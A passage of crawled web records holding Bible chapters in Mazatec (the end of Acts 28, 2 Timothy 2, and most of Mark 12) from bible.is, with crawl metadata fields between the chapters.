i̱'nde ra̱kìi̱ nga isìkato jè ni̱chjin‑la̱ 'nchán; jñá i̱sén‑la̱ nainá xkósòn Cástor ko̱ Pólux tjí'ta‑la̱. 12'Kia̱ nga ijchò‑ji̱n ya̱ na̱xi̱ndá Siracusa, jàn ni̱chjin ya̱ tsikitsa̱jna‑ji̱n. 13Ko̱ tsangì-isa‑ji̱n skanda ijchò‑ji̱n ya̱ na̱xi̱ndá Regio. Ra kjomà ma nchijòn 'tsaá jngo tjo̱ ra inchrabà‑ni ya̱ nga kixi̱‑la̱ ñánda̱ bitjokátji‑ni tsá'bí. 'Koa̱á 'sín kjomà‑ni ra ma jò ni̱chjin ijchò‑ji̱n ya̱ Puteoli. 14Ya̱á iskajin i'ka‑ji̱n xi̱ta̱ ra 'ndsé ma ra a̱'ta 'tse̱ Cristo ra ko̱kitsò‑naji̱n nga ki̱tsa̱jnako̱ jngo xomàna̱‑ji̱n. A̱kjòn 'kia̱á tsangì‑ji̱n ya̱ Roma. 15Jñà xi̱ta̱ 'ndsé ko̱ tichjeé ra títsa̱jna ya̱ Roma, ijyeé tjíjin‑la̱ nga ya̱ i̱nchimangí‑ji̱n; tjín ra ijchò koñá‑naji̱n ya̱ ndi̱tsi̱n ra 'mì Apio, ti̱'koa̱ tjín ra ijchò koñá‑naji̱n ya̱ ñánda̱ nga jàn ni'ya kjihijyo ñánda̱ nga satína tsajmì. Jè Pablo, 'kia̱ nga kijtse, tsjaá ki'se‑la̱ inìma̱‑la̱; ko̱ kitsjá‑la̱ kjo̱nda Nainá. 16'Kia̱ nga ijye titsa̱jna‑ji̱n ya̱ Roma, jè Pablo itjo'ndeé‑la̱ nga xìn tsikijna ta̱jngo ya̱ jngo ni'ya, ko̱ ta jngoó chíchàn isikìnda̱. 17Ra kjomà jàn ni̱chjin 'kia̱ nga ijye ijchò‑ji̱n ya̱ Roma, jè Pablo, tsikíxkóyaá jñà xi̱ta̱ ítjòn‑la̱ xi̱ta̱ judío ra ya̱ títsa̱jna. 'Kia̱ nga ijye 'ji ijye, kitsó‑la̱: ―Jiòn ra xi̱ta̱ xàngie̱é judío xìn‑no ra i̱ titsa̱jna Roma, ya̱ Jerusalén itsabá'ñó‑na jñà xi̱ta̱, a̱kjòn isìnga̱tsja‑na a̱'ta 'tse̱ xi̱ta̱xá Roma nga jñà tsikíndajín‑na. Tanga 'a̱n, ni̱mé jé ra tíbatsjía̱ a̱'ta 'tse̱ na̱xi̱ndá‑ná ko̱ a̱'ta 'tse̱ kjo̱téxoma‑la̱ xi̱ta̱ jchínga‑ná. 18Jñà xi̱ta̱xá 'tse̱ Roma 'kia̱ nga ijye tsikíndajín‑na, kjomején‑la̱ nga isíkíjnandi̱í‑na ta nga̱tjì‑la̱ ni̱mé jé ra isakò‑la̱ ra a̱'ta tsa̱'a̱n, jè ra bakèn‑na nga ki̱yáa̱. 19Tanga jñà xi̱ta̱ judío, mì kì kjokjiín‑la̱; 'koa̱á kjomà‑ni nga ko̱'sín isíjée̱ ra 'a̱n nga jè César ra jè xi̱ta̱xá ítjòn 'tse̱ Roma kátíndajín‑na. Tanga 'a̱n, mì tsa tsò‑ni kjoa̱ nga tjín mé ra ma konèjé‑la̱ na̱xi̱ndá‑ná. 20'Koa̱á ma‑ni nga kábíxkóya‑najiòn mé‑ni nga kokóna̱jmí‑no; ta kií‑ní nga ko̱'sín makjiín‑na a̱'ta 'tse̱ kjoa̱ ra i̱nchichiñá‑lá ra xi̱ta̱ Israel 'mì‑ná, 'koa̱á ma‑ni nga ko̱'sín na'ñó ki̱cha̱ tjíté'ñó‑na. 21Jñà xi̱ta̱ judío kitsó‑ní: ―Ngaji̱n, ni̱mé xa̱jo̱n tíka'tà‑naji̱n ra kjoa̱ tsa̱ji ra ya̱ nchrabá‑ni Judea. Nga'tsì xi̱ta̱ judío xàngie̱é ra ya̱ i̱nchi'fi‑ni, ni̱mé 'én ra 'cho tsò i̱nchitsjá‑naji̱n ra a̱'ta tsa̱ji. 22Mején‑naji̱n nga ki̱ná'ya‑ji̱n kó'sín níkítsjin ra ji̱; ngaji̱n, 'ya‑náji̱n nga jndíi̱ ra ján chja̱jno‑la̱ xi̱ta̱ ko̱ kondra̱ fì‑la̱ jè ndi̱yá xi̱tse̱ ra ya̱ nakjoá‑te‑ni. 23Tsikíjnaá jngo‑la̱ ni̱chjin xákjién, mé ni̱chjin‑ni nga ko̱xkóya. 'Kia̱ nga kjóxkóya, kjín xi̱ta̱ ijchò ya̱ ni'ya ñánda̱ nga tíjna jè Pablo. Jè Pablo tsi'kéna̱jmí‑la̱ kó'sín nga batéxoma Nainá, tsikí'tsia̱ kjòn‑ni nga ta̱jñò skanda 'kia̱ nga kjòhixòn. Jè isìchjeén xa̱jo̱n 'tse̱ Moisés ko̱ 'tse̱ jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá nga kiìchja̱‑la̱ ra a̱'ta 'tse̱ Jesús mé‑ni nga katamakjiín‑la̱ nga jé Jesús ra xá inikasén‑ni. 24Tjín xi̱ta̱ ra kjokjiín‑la̱, tanga ti̱'koa̱á tjín ra mì kì kjokjiín‑la̱. 25'Kia̱ nga mì kì nda kjóngásòn 'én‑la̱ koni 'sín nga tsajo̱óya‑ni, tsikí'tsia̱‑ní nga kijì‑ni. Tanga 'kia̱ nga ti̱kjè fì‑ni, kitsò‑la̱ Pablo: ―Ndaá kiìchja̱ jè Inìma̱ Tsje‑la̱ Nainá a̱'ta 'tse̱ xi̱ta̱ jchínga‑no kjotseé 'kia̱ nga kisìchjeén jè Isaías, xi̱ta̱ ra kiìchja̱ya ngájo‑la̱ Nainá, nga kitsò‑la̱: 26'Tin, ko̱ ko̱'tìn‑la̱ jñà xi̱ta̱ na̱xi̱ndá kìi̱: Jiòn, ki̱ná'ya‑no tanga mì kì kjoa̱à'sen‑jin‑no; jchítsijen‑no tanga mì kì ko̱tsíjen‑no. 27Nga̱ 'ñó kisítájajín inìma̱‑la̱ ko̱ kjo̱bítsjen‑la̱ jè na̱xi̱ndá ra̱kìi̱, tsikíchjàjtoó chíká‑la̱, tsikíchjàjtoó xko̱n, mé‑ni nga mì kì sko̱òtsíjen‑ni, ko̱ mì kì kji̱'nchré, ti̱'koa̱ mì kì kjoa̱ha'sen‑jin‑la̱; nga majìn‑la̱ nga 'a̱n koa̱áfa'ta‑na mé‑ni nga 'a̱n ma sindá‑na. 28Jiòn ndaá katasijin‑no, 'ndi̱ 'ndi̱, ya̱á tífì kjo̱nda‑la̱ Nainá ya̱ 'tse̱ jñà ra mì tsa xi̱ta̱ judío mé‑ni nga katabitjojin‑ni kjo̱hi'in. Ko̱ jñà xi̱ta̱ kìi̱, si̱hitjasón‑ní nga kji̱'nchré ra jñà. 29'Kia̱ nga ijye ko̱'sín kitsò jè Pablo, jñà xi̱ta̱ judío, a̱kjòn kijí‑ni ko̱ 'ñó tsakátiya‑ni ra a̱'ta 'tse̱ kjoa̱ kìi̱. 30Jè Pablo, jó nó tsikijnaya ya̱ ni'ya ra iskiña. Ko̱ ya̱á tsakáko̱na̱jmí nga'tsì jñà xi̱ta̱ ra ijchòjkon. 31Ya̱á tsi'kéna̱jmí‑la̱ kó'sín batéxoma Nainá ti̱'koa̱á tsakón‑ya a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná, ko̱ mì kì itsakjòn koni 'sín nga kiìchja̱ ko̱ ni̱yá ra ma tsatéchjà‑la̱.\nCopyright","id":"","dump":"CC-MAIN-2016-18","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/28","date":"2016-04-28T19:55:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461860106452.21\/warc\/CC-MAIN-20160428161506-00179-ip-10-239-7-51.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":890,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱ Timoteo ra koni tsa i'ndí‑na̱ xin‑la, 'ti̱ nga'ñó‑la̱ ijo‑li a̱'ta 'tse̱ kjo̱nda ra tsjá Jesucristo nga jè titsa̱jnake̱é. 2Jè 'én ra kina'yá‑ná 'kia̱ nga kíchjàya ya̱ ngixko̱n xi̱ta̱ ra kjìn ma‑ni nga kií'nchré, ta̱kón‑ya‑la̱ ra xi̱ta̱ kixi̱ ra nda ko̱ma‑te‑la̱ ko̱kòn‑ya‑la̱ xi̱ta̱ ra kj'ií. 3Ngaji̱ Timoteo, ti̱kjiín‑ko̱‑ná kjo̱hi'in nga nda tji'mi'ta‑la̱ Jesucristo koni jngo chíchàn ra síkjiín kjo̱hi'in. 4Jngo xi̱ta̱ ra chíchàn tísíhitjasòn, mì kì tjí'nde‑la̱ nga kj'ií xá ska̱ájin ra tjín ya̱ i̱sà'nde, tjíné‑la̱ nga ya̱ si̱hitjasòn‑la̱ jè ra kitsjà xá‑la̱ mé‑ni nga nda kíjnako̱‑ni. 5'Koa̱á ti̱'sín tjín a̱'ta 'tse̱ xi̱ta̱ ra síská. Tsa mì kì kixi̱ síská koni 'sín tjín kjo̱téxoma‑la̱ ra maská, mì kì tjábé‑la̱ chjí‑la̱. 6Jè xi̱ta̱ ra bínè‑la̱ ijo‑la̱ nga nda síxá nga bítje̱ tsajmì tjé, 'kia̱ nga ijye majchá tsajmì, jé tjábé ítjòn chiba‑la̱ tsajmì ra majchá koni chjí‑la̱. 7Ti̱kítsjin koni 'sín tíxin‑la. Jè Na̱'ín‑ná isa̱á nda si̱ichi̱ya‑la̱ kjo̱bítsjen‑li. 8Ti̱kítsjin a̱'ta 'tse̱ Jesucristo jè ra jaáya‑ila̱ ya̱ a̱jin‑la̱ mi'ken, ra ya̱ nchrabá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David. 'Koa̱á 'sín tsò 'én nda‑la̱ Cristo ra 'a̱n chjàya. 9Tà nga̱tjì‑la̱ 'én nda‑la̱ Cristo ra 'a̱n chjàya, kjo̱hi'iín tísikjiáa̱n, skanda na'ñó ki̱cha̱á tjí'tá'ñó‑na nga tíjna̱'ya nda̱yá koni jngo xi̱ta̱ ra 'ñó 'tse̱n. Tanga jè 'én‑la̱ Nainá mì tsa ya̱ tjí'tá'ñó ya̱ a̱ya nda̱yá. 10Ta kií nga̱tjì‑la̱ nga ko̱'sín tísikjiáa̱n kjo̱hi'in nga kjo̱nda 'tse̱ xi̱ta̱ ra xá tsjahíjin‑ni Nainá, mé‑ni nga ti̱'koa̱á ki̱tjokajin‑ni kjo̱hi'in ra a̱'ta 'tse̱ Cristo Jesús; 'se̱é‑la̱ kjoa̱jeya ra mì kì fehe'ta ni̱ta kjiá‑nioo̱. 11'Én kìi̱, 'én kixi̱‑ni nga tsò: Nga ya̱ 'ken‑ke̱é Cristo, ti̱'koa̱á ya̱á ki̱tsa̱jnakon‑ke̱é. 12Tsa chíkjoa̱‑ná kjo̱hi'in ra ska̱jieén, ti̱'koa̱á ya̱á ko̱texomake̱é Cristo. Tsa kixé; mì kì bexkon, jè, 'koa̱á ti̱'sín ki̱tso̱‑ná; mì kì bexkon‑no ra jiòn. 13Tsa mì kì si̱hitjasén 'én ra nakjé, tanga ra jè Nainá si̱hitjasòn 'én ra chja̱. Mì kì ko̱ma si̱ìkaatjìya‑la̱ 'én‑la̱ ra jè. 14Ti̱kítsjen‑la̱ kjoa̱ kìi̱. Ti̱nákjoa̱ki̱i ya̱ ngixko̱n Nainá mé‑ni nga mì ta jñá koa̱atiya‑ni kjoa̱ 'tse̱ 'én. Jè kjoa̱ ra chitiya‑ni ni̱mé chjí‑la̱. Ta isa̱á síkitsón xi̱ta̱ ra 'nchré‑la̱. 15'Ñó nda tinè‑la̱ ijo‑li mé‑ni nga nda ki̱jna‑ni ya̱ ngixko̱n Nainá. Nì mé ra ko̱sabà‑li nga ndaá tjín xá‑li ko̱ nga ndaá bakon‑yi 'én kixi̱‑la̱ Cristo. 16Kì taxki̱ nakjoá‑jìn 'én ra mì kì sasén‑la̱ Nainá, ra nì mé chjí‑la̱. Jñà xi̱ta̱ ra ko̱'sín chja̱, tà isa̱á 'ñó mincha'taxìn-isa‑la̱ Nainá. 17Jñà 'én ra 'cho tsò, 'koa̱á 'sín jngoya‑la̱ koni 'chin ra fi'ndojno‑ni ijo‑ná. 'Koa̱á 'sín chja̱ jè Himeneo ko̱ Fileto, 18nga̱ ijyeé tsincha'taxìn‑la̱ ra kjoa̱kixi̱ nga tsò: jè kjoa̱ ra faháya‑la̱ mi'ken ijyeé tsato‑ní. 'Koa̱á ma‑ni nga sískáya i'ka‑la̱ xi̱ta̱ kjoa̱ ra makjiín‑la̱. 19Tanga Nainá ijyeé tsikíjna'ñó tjà'tsin jngo kjoa̱ ra kixi̱ tíjna ñánda̱ nga tjí'ta 'én ra tsò: \"Nainá be‑ní yá xi̱ta̱‑ni ra 'tse̱\"; ti̱'koa̱ tsò: \"Nga'tsì ra tsò: xi̱ta̱‑la̱ Cristo‑ná, katincha'taxìn‑la̱ kjoa̱ ra 'cho tjióo̱n.\" 20Jngo ni'ya ra je 'kioo̱, tjín tsajmì ra oro ko̱ plata. Ti̱'koa̱á tjín tsajmì ra yá, ko̱ ra ni'nde. Tjín tsajmì ra ni̱chjin nchijòn machjeén, ko̱ tjín ra tà 'kia̱ machjeén 'kia̱ nga nda tíma. 21Tsa si̱tsjeé kjo̱bítsjen‑ná nga ki̱ncha'taxín‑lá kjoa̱ ra 'cho tjióo̱n, 'koa̱á 'sín si̱ìchjeén‑ná Nainá koni jñà tsajmì tsje ra tà 'kia̱ machjeén 'kia̱ nga nda tíma, nga titsa̱jnandeé nga si̱hitjasén ni̱ta mé xá‑la̱ Nainá ra nda tjín. 22Ngaji̱ Timoteo, ti̱se̱n'taxìn‑la̱ kjo̱bítsjen ra 'cho tjióo̱n koni 'sín síkítsjen ra i̱xti. Kií 'tin‑tji̱ngi‑la̱ kjo̱hixi̱, ko̱ kjoa̱ ra makjiín‑ná a̱'ta 'tse̱ Cristo, ko̱ kjo̱tsjacha, ko̱ kjo̱'nchán-tákon. Ko̱'sín 'tin‑tji̱ngi‑la̱ kjoa̱ kìi̱, ko̱ xi̱ta̱ ra tsje tjín inìma̱‑la̱ nga chja̱'ta‑la̱ Nainá. 23Kì jñà kjoa̱ táhijín nisin‑la̱ ra ni̱mé chjí‑la̱. Ijyeé nda tjíjin‑li kjoa̱ kìi̱, tà síkjaán‑kjoó‑ni xi̱ta̱. 24Jngo chi̱'nda‑la̱ Nainá mì kì machjeén nga ya̱ ska̱ájin ñánda̱ kjaán‑kjo xi̱ta̱. Ndaá katasíko̱ ijye nga'tsì xi̱ta̱. Katijnanda nga ko̱kòn‑ya 'én‑la̱ Nainá. Katachíkjoa̱‑la̱ inìma̱‑la̱ ni̱'sín tà mé kjoa̱ ra ko̱ka̱ma'tin. 25Ko̱ó kjo̱nda‑la̱ katasíkixi̱ya jñà ra xi̱ta̱ kondra̱, tsa kií ni̱chjin Nainá tsjá‑isa‑la̱ ni̱chjin nga si̱íkájno‑ni jé‑la̱, nga mì ti̱ jé koa̱àtsji‑ni, mé‑ni nga ko̱kjiín‑la̱ a̱'ta 'tse̱ kjo̱hixi̱. 26'Kia̱ nga tjá'xa̱ngi‑ni xko̱n, ko̱maá ki̱tjokajin‑ni ya̱ kjoa̱ chònda̱cha̱‑la̱ xi̱ta̱‑ni̱í ya̱ ñánda̱ nga tjí'tá'ñó‑la̱, nga mejèn‑la̱ ko̱'sín si̱hitjasòn‑la̱ koni 'sín mejèn‑la̱ ra jè.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/MAASAV\/2Tim\/2","date":"2016-05-29T19:29:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049281876.4\/warc\/CC-MAIN-20160524002121-00216-ip-10-185-217-139.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":660,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsibíts'ia̱ Jesús nga tsibéno̱jmíya kjoa̱ xi mangásòn. Kitsò: ―Jngoò xi̱ta̱ tsibítje̱ toò uva, tsibíndiì‑la̱ ínchíbá, i̱kjoàn tsibíndaà jngoò i̱'nde ñánda tsi'ñóngui nandá‑la̱ toò uva. Ti̱koa̱ tsibíndaà jngoò torre xi síkinda̱ yije kóho̱tjín. I̱kjoàn kisìkìña‑la̱ nangui xi̱ta̱ xi kj'ei̱í nga kisìxásòn. I̱kjoàn kiì jè nei‑la̱ nangui ñánda i̱'nde kjiìn. 2K'e̱ nga ijchò na̱chrjein‑la̱ nga kòjchá toò uva, jè nei‑la̱ nangui kisìkasén jngoò xi̱ta̱ chi̱'nda‑la̱ nga kisìjé‑la̱ xi jè tjoé chiba‑la̱ ts'e̱ tsojmì xi kòjchá. 3Ta̱nga jñá xi̱ta̱ xi síxásòn nangui kitsobà'ñó koa̱ kiskaàn‑ko̱, tà kisìkasén tiyaá‑ne. 4Jé nei‑la̱ nangui kisìkasén ìjngoò xi̱ta̱ chi̱'nda‑la̱. Ti̱koa̱á tà nda̱jo̱ tsibínè, tsate sko̱, kisìki'on ko̱ ch'o kisìko̱. 5Jè nei‑la̱ nangui ìjngoò kisìkasén xi̱ta̱ chi̱'nda‑la̱. Ti̱koa̱á kisìk'en‑né. Kjìn xi̱ta̱‑la̱ kisìkasén‑ìsa, ta̱nga tjín xi kiskaàn‑ko̱, koa̱ tjín xi kisìk'en. 6'Ko̱ jè nei‑la̱ nangui tà jngoò xi̱ta̱‑la̱ tíjna‑ìsa; tà jè ki'ndí‑la̱ xi 'ñó matsjakeè kisìkasén, kitsò: \"Skoe̱xkón‑la̱ ki'ndí‑na̱.\" 7Ta̱nga jñà xi̱ta̱ xi síxájiìn nangui, tsajoóya‑ne, kitsò‑la̱ xíkjín: \"Jè jèe̱ xi tjoé kjo̱tjò‑la̱ i̱'nde, si̱k'eén, tsa̱ján ko̱ma i̱'nde.\" 8Kitsobà'ñó, kisìk'en, i̱kjoàn kisìkatje̱n ján i̱jto̱n nangui ñánda títje̱ toò uva. 9'Jñò, ¿kó bixón? K'e̱ nga kjoi̱í nei‑la̱ nangui, ¿mé xi si̱ìko̱ jñà xi̱ta̱ koi? Si̱ìk'en‑né; kj'ei̱í xi̱ta̱á si̱ìnga̱tsja jè nangui ñánda tjín toò uva. 10'¿A kj'eè bìxke̱jñoò Xo̱jo̱n‑la̱ Nainá? Tsò‑né: Jè nda̱jo̱ xi tsachrjekàngui chji̱ne̱chrjó nga sa̱ ítjòn, jè‑né xi komà nda̱jo̱ tàts'en chrjó‑la̱ ni'ya; 11K'oa̱á s'ín kis'iìn Nainá. Jñá, tà maxkón‑ná. 12Jñà xi̱ta̱ sko̱‑la̱ no̱'miì, ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá ko̱ xi̱ta̱ jchínga mejèn kitsobà'ñó Jesús nga kiskaàya‑la̱ jè kjoa̱ xi mangásòn xi tsibéno̱jmí nga kondra̱ ts'e̱‑né, ta̱nga jñà kitsakjòn‑la̱ xi̱ta̱ na̱xa̱ndá; kisìkíjna, i̱kjoàn kiì‑ne. 13Kisìkasén i'nga‑la̱ Jesús xi̱ta̱ Fariseo ko̱ xi̱ta̱ ts'e̱ Herodes nga mejèn‑la̱ ótsji'nde‑la̱ kós'ín si̱ìko̱ nga ko̱hòngui. 14Xi̱ta̱ koi, kií kitsò‑la̱: ―Maestro, 'ya‑náje̱n nga 'én kixi̱í xi nokjoì; mìkiì 'nì kinda̱ koni tsò‑lè xi̱ta̱; ko̱ mìtsà jè chìtsejèn‑jnoi kó kjoàn xi̱ta̱; k'oa̱á s'ín okoòyi ndi̱yá‑la̱ Nainá koni s'ín tjín xi kjoa̱ kixi̱. ¿A ndaà tjín nga kíchjítjì‑je̱n tsojmì i̱t'aà ts'e̱ xi̱ta̱xá ítjòn ts'e̱ Roma, o xi majìn‑né? ¿A kíchjí‑náje̱n a xi mìkiì kíchjí‑je̱n? 15Jesús jye beè nga jò tjín ini̱ma̱‑la̱; kitsò‑la̱: ―¿Mé‑ne nga chona̱cha̱n‑ná? Nchrohóko̱ jngoò‑ná to̱n nga skoeè kó kji. 16K'e̱é kiìko̱ jngoò‑la̱ to̱n. Jesús kitsò‑la̱: ―¿Yá ts'e̱ i̱sén jè ko̱ jè 'ín xi tjít'aà? Kitsò‑la̱: ―Ts'e̱é César, xi̱ta̱xá ítjòn ts'e̱ Roma. 17K'e̱é kitsò Jesús: ―Tjiì‑là César xi ts'e̱ César koa̱ tjiì‑là Nainá xi ts'e̱ Nainá. Tà k'oa̱á ko̱ma‑la̱ nga kiì'nchré koni kitsò Jesús. 18Jñà xi̱ta̱ Saduceo ijchòkon Jesús. Jñà xi̱ta̱ koi mìkiì mokjeiín‑la̱ nga faáya‑la̱ xi jye k'en. Kiskònangui‑la̱, kitsò‑la̱: 19―Maestro, jè Moisés, k'oa̱á s'ín kiskiì: Tsà jngoò xi̱ta̱ xi ki̱yá 'ndse̱, tsà tsjìn‑la̱ i̱xti k'e̱ nga ki̱yá, jè chjo̱ón‑la̱, ti̱jè‑ne 'ndse̱ ki̱xan‑ko̱ ìjngoò k'a‑ne mé‑ne nga s'e̱‑la̱ i̱xti xi tje̱ ts'e̱ 'ndse̱. 20Kis'e xó jngoò k'a xi̱ta̱ xi itoò komà 'ndse̱. Jè xi síjna ítjòn, kis'e xó‑la̱ chjo̱ón; ta̱nga k'e̱ nga k'en, mìkiì kis'e‑la̱ i̱xti. 21Jè xi ma jò‑ne chixàn‑ko̱ chjo̱ón ka'àn‑la̱ 'ndse̱. Ti̱koa̱á jè k'en. Mìkiì kis'e‑la̱ i̱xti. K'oa̱á ti̱ komà jè xi ma jàn‑ne. 22Ngásòn komà nga itoò. Ni̱jngoò xi kis'e‑la̱ i̱xti. Nga jye i̱t'aà‑ne k'en jè chjo̱ón. 23K'e̱ nga tsà kjoa̱áya‑la̱ mik'en, nga itoò 'ndse̱, ¿yá‑né xi chjo̱ón‑la̱ ko̱ma? Nga jñà tsibìtsa̱jnako̱ nga itoò 'ndse̱. 24Kisìkátji‑ne 'én Jesús, kitsò‑la̱: ―Jñò, koií maskáya‑nò nga mìkiì 'yaà kó s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá ko̱ nga'ñó xi tjín‑la̱ Nainá. 25K'e̱ nga kjoa̱áya‑la̱ mik'en, íchjín, íchjá mì ti̱ kiì ki̱xan‑ne. K'oa̱á s'ín s'e̱ koni jñà àkja̱le̱ xi títsa̱jna ngajmiì. 26Jè kjoa̱ ts'e̱ mik'en nga kjoa̱áya‑la̱, ¿a kj'eè bìxke̱jñoò xo̱jo̱n‑la̱ Moisés ya̱ ñánda tíchja̱ ts'e̱ yá na'yá xi títì? Nainá kitsò‑la̱ Moisés: \"'A̱n‑ná xi Nainá tsò‑na Abraham, Isaac, ko̱ Jacob.\" 27¡Jñà xi jye k'en, mìtsà Nainá tsò‑la̱ xi Nainá; tà jñà xi títsa̱jnakon xi Nainá tsò‑la̱! Jñò, 'ñó maskáya‑nò. 28Jngoò xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés kiì'nchré‑la̱ Jesús nga ndaà kiìchja̱; k'e̱ nga nchijoókjoò ijchò kasìt'aà chrañà‑la̱, i̱kjoàn kiskònangui‑la̱, kitsò‑la̱: ―¿Ñá‑la̱á kjo̱tíxoma‑la̱ Nainá xi tíjna ítjòn? 29Kiìchja̱ Jesús, kitsò‑la̱: ―Jè kjo̱tíxoma xi tíjna ítjòn tsò‑né: \"Ti̱ná'yaà xi̱ta̱ Israel, jè Nainá xi Na̱'èn‑ná, ta jè ta jngoò‑né xi otíxoma‑ná. 30Ti̱tsjachi Na̱'èn‑ná xi Nainá 'mì‑la̱, nga ko̱ ini̱ma̱‑lè ko̱ yijo‑lè ko̱ kjo̱hítsjeèn‑lè ko̱ nga'ñó‑lè.\" 31Jè xi ma‑ne jò: \"Ti̱tsjachi xi̱ta̱ xingui̱i koni tsà ti̱ yijo tsi̱ji‑ne.\" Mì ti̱ tsjìn‑ne kjo̱tíxoma xi ìsa̱ xkón tjín. 32Jè xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá kitsò: ―Ndaà tjín, Maestro. O̱kixi̱‑né koni s'ín nokjoì. Jngoò ma‑ne Nainá ko̱ mì ti̱ yá tjín‑ne xi kj'ei̱í. 33Ìsa̱ chjí‑la̱ nga ko̱ ini̱ma̱‑ná jcha̱xkoán Nainá, ko̱ kjo̱hítsjeèn‑ná ko̱ nga'ñó‑ná ko̱ nga jcha̱xkoán xinguia̱á koni tsà yijo‑ná. Ìsa̱á chjí‑la̱ koni ngats'iì cho̱ xi tìsòn ími̱xa̱ tsjeè‑la̱ Nainá, kjo̱tjò xi tsjá jñà xi̱ta̱. 34Jesús k'e̱ nga kijtseè nga ndaà kiìchja̱ jè xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá, kitsò‑la̱: ―Mìtsà kjiìn ti̱jni i̱t'aà ts'e̱ kjo̱ndaà xi tjín‑la̱ jñà xi̱ta̱ xi Nainá otíxoma‑la̱. Mì ti̱ yá xi kjò'ñó‑ne ikon nga kiskònangui‑ìsa̱‑la̱. 35Jesús k'e̱ nga tíhokóya ya̱ ndi̱tsin i̱ngo̱ ítjòn, kiskònangui‑la̱, kitsò‑la̱: ―¿Mé‑ne ko̱tsò‑ne jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés nga jè xi Cristo, [xi̱ta̱ xi xó si̱ìkasén‑ne Nainá], nga ya̱á kji̱nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David? 36Ti̱jè‑ne David k'e̱ nga kiìchja̱ nga ko̱ nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, kitsò‑né: Jè Nainá kitsò‑la̱ jè xi Nei‑na̱: \"Ti̱jnat'aà‑ná i̱ kixi̱‑na̱ skanda k'e̱ nga sìkítsa̱jnanguia ndso̱koiì jñà xi kondra̱‑lè nga 'a̱n jye kisìkijne‑la̱.\" 37Jè David, tsà Nainá kitsò‑la̱ Cristo, [xi̱ta̱ xi xó si̱ìkasén‑ne Nainá], ¿kó s'ín tjín‑ne nga tje̱‑la̱ ma‑ne David? Ngats'iì xi̱ta̱ xi kjìn ma‑ne, tsja ma‑la̱ nga 'nchré‑la̱ Jesús koni s'ín okóya. 38Jesús k'oa̱á s'ín tsakóya‑la̱ xi̱ta̱. Kitsò‑la̱: ―Ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Sasén‑la̱ nga nikje ndojò ókjá. Ti̱koa̱á sasén‑la̱ nga skoe̱xkón xi̱ta̱ xi kj'ei̱í, ndaà si̱ìxat'aà ya̱ ndi̱tsi̱n. 39Ti̱koa̱á jñà ótsji íxi̱le̱ xi jncha ítjòn ya̱ ni'ya i̱ngo̱ sinagoga, ko̱ mejèn‑la̱ nga jñà kítsa̱t'aà ítjòn ími̱xa̱ k'e̱ nga kjèn xi̱ta̱ ñánda tjín s'eí. 40Koa̱ faá'an ni'ya‑la̱ xi tjín‑la̱ íchjín ka'àn xi jye k'en x'i̱n‑la̱. K'e̱ nga chja̱t'aà‑la̱ Nainá 'ñó nda̱jo̱ fìko̱ o̱chikon nga mejèn‑la̱ nga bìtsa̱jna'ma nga mì jcha̱‑la̱ mé kjoa̱ xi s'ín. Jñà xi̱ta̱ koi ìsa̱á tse kjo̱'in s'e̱‑la̱. 41Jesús tsibìjna ya̱ kixi̱‑la̱ ñánda tíjna kaxa̱ xi sinchá to̱n kjo̱tjò‑la̱ Nainá. Tíkotsejèn‑la̱ xi̱ta̱ na̱xa̱ndá nga bítsa̱jna to̱n kjo̱tjò‑la̱ Nainá. Kjìn xi̱ta̱ nchi̱ná xi tse to̱n bítsa̱jna. 42Ijchò jngoò chjo̱ón ka'àn xi 'ñó i̱ma̱. Jò ndí to̱n jtobá tsibíjna xi chiba chjí‑la̱. 43Jesús kiìchja̱‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―K'oa̱á xan‑nò xi nguì o̱kixi̱, jè chjo̱ón ka'àn xi 'ñó i̱ma̱, jè xi ìsa̱ tse to̱n kòbíjna mì k'oa̱á‑ne koni jñà xi̱ta̱ xi i'nga. 44Tà jè tsjá xi ningui‑la̱ ta̱nga jè ndí chjo̱ón i̱ma̱, na̱s'ín ni̱mé tjín‑la̱, jngoò k'a kàtsjá yije ngats'iì ndí to̱n xi tíjna‑la̱ xi tísíjchá‑ne 